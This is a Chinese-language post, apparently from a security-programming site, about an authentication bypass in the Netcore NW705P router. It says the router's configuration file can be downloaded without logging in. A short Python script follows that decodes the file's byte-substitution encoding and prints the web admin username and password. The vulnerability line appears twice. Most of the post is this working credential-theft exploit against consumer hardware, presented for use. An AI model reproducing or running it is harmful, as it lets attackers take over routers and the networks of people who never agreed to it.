磊科NW705P破解+python代码
型号:磊科(Netcore)NW705P
固件版本:netcore(NW705P)CN-V2.0.3798
漏洞描述:
http://192.168.1.1/param.file.tgz(假设网关IP为:192.168.1.1)这个文件为路由器配置文件,其可以不经过WEB验证直接下载,文件经过加密。
http://192.168.1.1/param.file.tgz(假设网关IP为:192.168.1.1)这个文件为路由器配置文件,其可以不经过WEB验证直接下载,文件经过加密。
以下为读取路由器web管理账户与密码的pyton3.2代码(草稿,无优化):
import subprocess
import binascii
f=open('c:/param.file.tgz', 'rb') ##下载完的配置文件
out=open('c:/out.txt','r+') ##输出解码文件
d1={} ##奇数字典
d2={} ##偶数字典
def readword(offset): ##读取值函数
out.seek(offset)
while True:
if out.read(1)==' ':
offsetend=out.tell()
break
out.seek(offset)
return (out.read(offsetend-offset),offsetend)
for a in range(33,127): ##生成奇偶字典
if a+201<256:
d1.update({(a+201):chr(a)})
else:
d1.update({(a-55):chr(a)})
d2.update({(a+115):chr(a)})
while True:
word=f.read(1)
if len(word)==0:
break
else:
word=binascii.b2a_hex(word)
word2int=int(eval(b'0x'+word))
offset=f.tell()
if offset%2==1:
print(d1.get(word2int,' '),file=out,end="")
else:
print(d2.get(word2int,' '),file=out,end="")
(AdminName,AdminName_end)=readword(164)
(AdminPass,AdminPass_end)=readword(AdminName_end+10)
print("ID=",AdminName) ##输出账号ID
print("Pass=",AdminPass) ##输出账号密码
subprocess.call("pause",shell=True)
补充:综合编程 , 安全编程 ,